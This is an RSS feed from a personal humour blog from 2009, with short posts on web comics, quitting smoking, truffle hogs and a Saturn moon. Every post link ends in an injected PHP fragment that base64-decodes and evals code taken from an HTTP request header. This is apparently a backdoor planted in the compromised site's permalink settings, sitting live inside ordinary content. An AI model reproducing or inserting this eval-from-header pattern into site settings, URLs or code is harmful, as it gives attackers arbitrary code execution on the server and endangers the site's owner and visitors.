http://www.kb9udr.com To crush your enemies, see them driven before you, and to hear the lamentation of the women. Mon, 10 Aug 2009 18:16:50 +0000 http://backend.userland.com/rss092 en http://www.pvponline.com/2009/08/06/no-butts-about-it/ kb9udr http://www.kb9udr.com/2009/08/10/why-i-have-a-cat-and-not-a-dog/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ kb9udr http://www.kb9udr.com/2009/07/14/heavy-metal-sesame-street/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I finally get this joke. kb9udr http://www.kb9udr.com/2009/07/06/the-cake-is-a-lie/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Holy crap! I forgot about this...THIS! One of my favorite Penny Arcade comics of all time. kb9udr http://www.kb9udr.com/2009/04/25/master-of-the-universe/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.tressugar.com/951944 kb9udr http://www.kb9udr.com/2009/04/16/beep-von-beep/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ So, I quit smoking yesterday. I had my last smoke in the morning. My wife picked me up "the patch", and when I got home, I was SO ready to put that thing on my arm that I was starting to freak out and be crabby at the world. ... http://www.kb9udr.com/2009/03/25/quitter/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ From Wikipedia.org: Extraction Looking for truffles in open ground is almost always carried out with specially trained pigs (truffle hogs) or, more recently, dogs.[citation needed] Truffle Hog: Keen sense of smell Innate ability to sniff out truffles Tendency to eat truffles once found Truffle Dog Keen sense of smell Must be trained Easier to control; may urinate on truffles The female ... http://www.kb9udr.com/2009/03/24/better-a-truffle-hog-than-a-truffle-dog/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I just read this and nearly fell from my chair: “A philosopher sat at his desk, waiting for inspiration. It struck suddenly: in an instant, he constructed in his mind a perfect syllogism showing that reality was an illusion, and the world of the senses was noting more than a well-constructed ... http://www.kb9udr.com/2009/03/19/existentialismyay/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Saturn's enigmatic moon: http://content.techrepublic.com.com/2346-10878_11-221841-4.html It could be that the people of Saturn are preparing to attack... kb9udr http://www.kb9udr.com/2009/03/18/thats-no-moon-its-a-space-station/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Someday soon, all the stupid companies will realize that all the money savings in the world are not worth this: http://www.dilbert.com/2009-03-08/ kb9udr http://www.kb9udr.com/2009/03/09/outsourcing/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/